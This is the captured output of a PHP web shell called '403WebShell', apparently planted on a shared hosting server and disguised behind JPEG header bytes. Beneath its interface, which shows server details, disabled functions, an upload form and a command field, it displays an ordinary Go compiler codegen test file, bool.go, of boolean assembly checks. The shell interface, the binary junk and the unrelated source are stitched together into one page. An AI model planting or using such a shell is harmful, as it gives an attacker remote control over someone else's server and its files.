JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.150  /  Your IP : 216.73.217.1
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/golang/1.22.0/test/codegen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/golang/1.22.0/test/codegen/bool.go
// asmcheck

// Copyright 2020 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package codegen

import (
	"math/bits"
)

// This file contains codegen tests related to boolean simplifications/optimizations.

func convertNeq0B(x uint8, c bool) bool {
	// amd64:"ANDL\t[$]1",-"SETNE"
	// ppc64x:"RLDICL",-"CMPW",-"ISEL"
	b := x&1 != 0
	return c && b
}

func convertNeq0W(x uint16, c bool) bool {
	// amd64:"ANDL\t[$]1",-"SETNE"
	// ppc64x:"RLDICL",-"CMPW",-"ISEL"
	b := x&1 != 0
	return c && b
}

func convertNeq0L(x uint32, c bool) bool {
	// amd64:"ANDL\t[$]1",-"SETB"
	// ppc64x:"RLDICL",-"CMPW",-"ISEL"
	b := x&1 != 0
	return c && b
}

func convertNeq0Q(x uint64, c bool) bool {
	// amd64:"ANDL\t[$]1",-"SETB"
	// ppc64x:"RLDICL",-"CMP",-"ISEL"
	b := x&1 != 0
	return c && b
}

func convertNeqBool32(x uint32) bool {
	// ppc64x:"RLDICL",-"CMPW",-"ISEL"
	return x&1 != 0
}

func convertEqBool32(x uint32) bool {
	// ppc64x:"RLDICL",-"CMPW","XOR",-"ISEL"
	return x&1 == 0
}

func convertNeqBool64(x uint64) bool {
	// ppc64x:"RLDICL",-"CMP",-"ISEL"
	return x&1 != 0
}

func convertEqBool64(x uint64) bool {
	// ppc64x:"RLDICL","XOR",-"CMP",-"ISEL"
	return x&1 == 0
}

func TestSetEq64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBC\tCR0EQ",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBC\tCR0EQ"
	// ppc64x/power8:"CMP","ISEL",-"SETBC\tCR0EQ"
	b := x == y
	return b
}
func TestSetNeq64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBCR\tCR0EQ",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBCR\tCR0EQ"
	// ppc64x/power8:"CMP","ISEL",-"SETBCR\tCR0EQ"
	b := x != y
	return b
}
func TestSetLt64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBC\tCR0GT",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBC\tCR0GT"
	// ppc64x/power8:"CMP","ISEL",-"SETBC\tCR0GT"
	b := x < y
	return b
}
func TestSetLe64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBCR\tCR0LT",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBCR\tCR0LT"
	// ppc64x/power8:"CMP","ISEL",-"SETBCR\tCR0LT"
	b := x <= y
	return b
}
func TestSetGt64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBC\tCR0LT",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBC\tCR0LT"
	// ppc64x/power8:"CMP","ISEL",-"SETBC\tCR0LT"
	b := x > y
	return b
}
func TestSetGe64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBCR\tCR0GT",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBCR\tCR0GT"
	// ppc64x/power8:"CMP","ISEL",-"SETBCR\tCR0GT"
	b := x >= y
	return b
}
func TestSetLtFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBC\tCR0LT",-"ISEL"
	// ppc64x/power9:"FCMP","ISEL",-"SETBC\tCR0LT"
	// ppc64x/power8:"FCMP","ISEL",-"SETBC\tCR0LT"
	b := x < y
	return b
}
func TestSetLeFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBC\tCR0LT","SETBC\tCR0EQ","OR",-"ISEL",-"ISEL"
	// ppc64x/power9:"ISEL","ISEL",-"SETBC\tCR0LT",-"SETBC\tCR0EQ","OR"
	// ppc64x/power8:"ISEL","ISEL",-"SETBC\tCR0LT",-"SETBC\tCR0EQ","OR"
	b := x <= y
	return b
}
func TestSetGtFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBC\tCR0LT",-"ISEL"
	// ppc64x/power9:"FCMP","ISEL",-"SETBC\tCR0LT"
	// ppc64x/power8:"FCMP","ISEL",-"SETBC\tCR0LT"
	b := x > y
	return b
}
func TestSetGeFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBC\tCR0LT","SETBC\tCR0EQ","OR",-"ISEL",-"ISEL"
	// ppc64x/power9:"ISEL","ISEL",-"SETBC\tCR0LT",-"SETBC\tCR0EQ","OR"
	// ppc64x/power8:"ISEL","ISEL",-"SETBC\tCR0LT",-"SETBC\tCR0EQ","OR"
	b := x >= y
	return b
}
func TestSetInvEq64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBCR\tCR0EQ",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBCR\tCR0EQ"
	// ppc64x/power8:"CMP","ISEL",-"SETBCR\tCR0EQ"
	b := !(x == y)
	return b
}
func TestSetInvNeq64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBC\tCR0EQ",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBC\tCR0EQ"
	// ppc64x/power8:"CMP","ISEL",-"SETBC\tCR0EQ"
	b := !(x != y)
	return b
}
func TestSetInvLt64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBCR\tCR0GT",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBCR\tCR0GT"
	// ppc64x/power8:"CMP","ISEL",-"SETBCR\tCR0GT"
	b := !(x < y)
	return b
}
func TestSetInvLe64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBC\tCR0LT",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBC\tCR0LT"
	// ppc64x/power8:"CMP","ISEL",-"SETBC\tCR0LT"
	b := !(x <= y)
	return b
}
func TestSetInvGt64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBCR\tCR0LT",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBCR\tCR0LT"
	// ppc64x/power8:"CMP","ISEL",-"SETBCR\tCR0LT"
	b := !(x > y)
	return b
}
func TestSetInvGe64(x uint64, y uint64) bool {
	// ppc64x/power10:"SETBC\tCR0GT",-"ISEL"
	// ppc64x/power9:"CMP","ISEL",-"SETBC\tCR0GT"
	// ppc64x/power8:"CMP","ISEL",-"SETBC\tCR0GT"
	b := !(x >= y)
	return b
}

func TestSetInvEqFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBCR\tCR0EQ",-"ISEL"
	// ppc64x/power9:"FCMP","ISEL",-"SETBCR\tCR0EQ"
	// ppc64x/power8:"FCMP","ISEL",-"SETBCR\tCR0EQ"
	b := !(x == y)
	return b
}
func TestSetInvNeqFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBC\tCR0EQ",-"ISEL"
	// ppc64x/power9:"FCMP","ISEL",-"SETBC\tCR0EQ"
	// ppc64x/power8:"FCMP","ISEL",-"SETBC\tCR0EQ"
	b := !(x != y)
	return b
}
func TestSetInvLtFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBCR\tCR0LT",-"ISEL"
	// ppc64x/power9:"FCMP","ISEL",-"SETBCR\tCR0LT"
	// ppc64x/power8:"FCMP","ISEL",-"SETBCR\tCR0LT"
	b := !(x < y)
	return b
}
func TestSetInvLeFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBC\tCR0LT",-"ISEL"
	// ppc64x/power9:"FCMP","ISEL",-"SETBC\tCR0LT"
	// ppc64x/power8:"FCMP","ISEL",-"SETBC\tCR0LT"
	b := !(x <= y)
	return b
}
func TestSetInvGtFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBCR\tCR0LT",-"ISEL"
	// ppc64x/power9:"FCMP","ISEL",-"SETBCR\tCR0LT"
	// ppc64x/power8:"FCMP","ISEL",-"SETBCR\tCR0LT"
	b := !(x > y)
	return b
}
func TestSetInvGeFp64(x float64, y float64) bool {
	// ppc64x/power10:"SETBC\tCR0LT",-"ISEL"
	// ppc64x/power9:"FCMP","ISEL",-"SETBC\tCR0LT"
	// ppc64x/power8:"FCMP","ISEL",-"SETBC\tCR0LT"
	b := !(x >= y)
	return b
}
func TestLogicalCompareZero(x *[64]uint64) {
	// ppc64x:"ANDCC",^"AND"
	b := x[0]&3
	if b!=0 {
		x[0] = b
	}
	// ppc64x:"ANDCC",^"AND"
	b = x[1]&x[2]
	if b!=0 {
		x[1] = b
	}
	// ppc64x:"ANDNCC",^"ANDN"
	b = x[1]&^x[2]
	if b!=0 {
		x[1] = b
	}
	// ppc64x:"ORCC",^"OR"
	b = x[3]|x[4]
	if b!=0 {
		x[3] = b
	}
	// ppc64x:"SUBCC",^"SUB"
	b = x[5]-x[6]
	if b!=0 {
		x[5] = b
	}
	// ppc64x:"NORCC",^"NOR"
	b = ^(x[5]|x[6])
	if b!=0 {
		x[5] = b
	}
	// ppc64x:"XORCC",^"XOR"
	b = x[7]^x[8]
	if b!=0 {
		x[7] = b
	}
	// ppc64x:"ADDCC",^"ADD"
	b = x[9]+x[10]
	if b!=0 {
		x[9] = b
	}
	// ppc64x:"NEGCC",^"NEG"
	b = -x[11]
	if b!=0 {
		x[11] = b
	}
	// ppc64x:"CNTLZDCC",^"CNTLZD"
	b = uint64(bits.LeadingZeros64(x[12]))
	if b!=0 {
		x[12] = b
	}

	// ppc64x:"ADDCCC\t[$]4,"
	c := int64(x[12]) + 4
	if c <= 0 {
		x[12] = uint64(c)
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit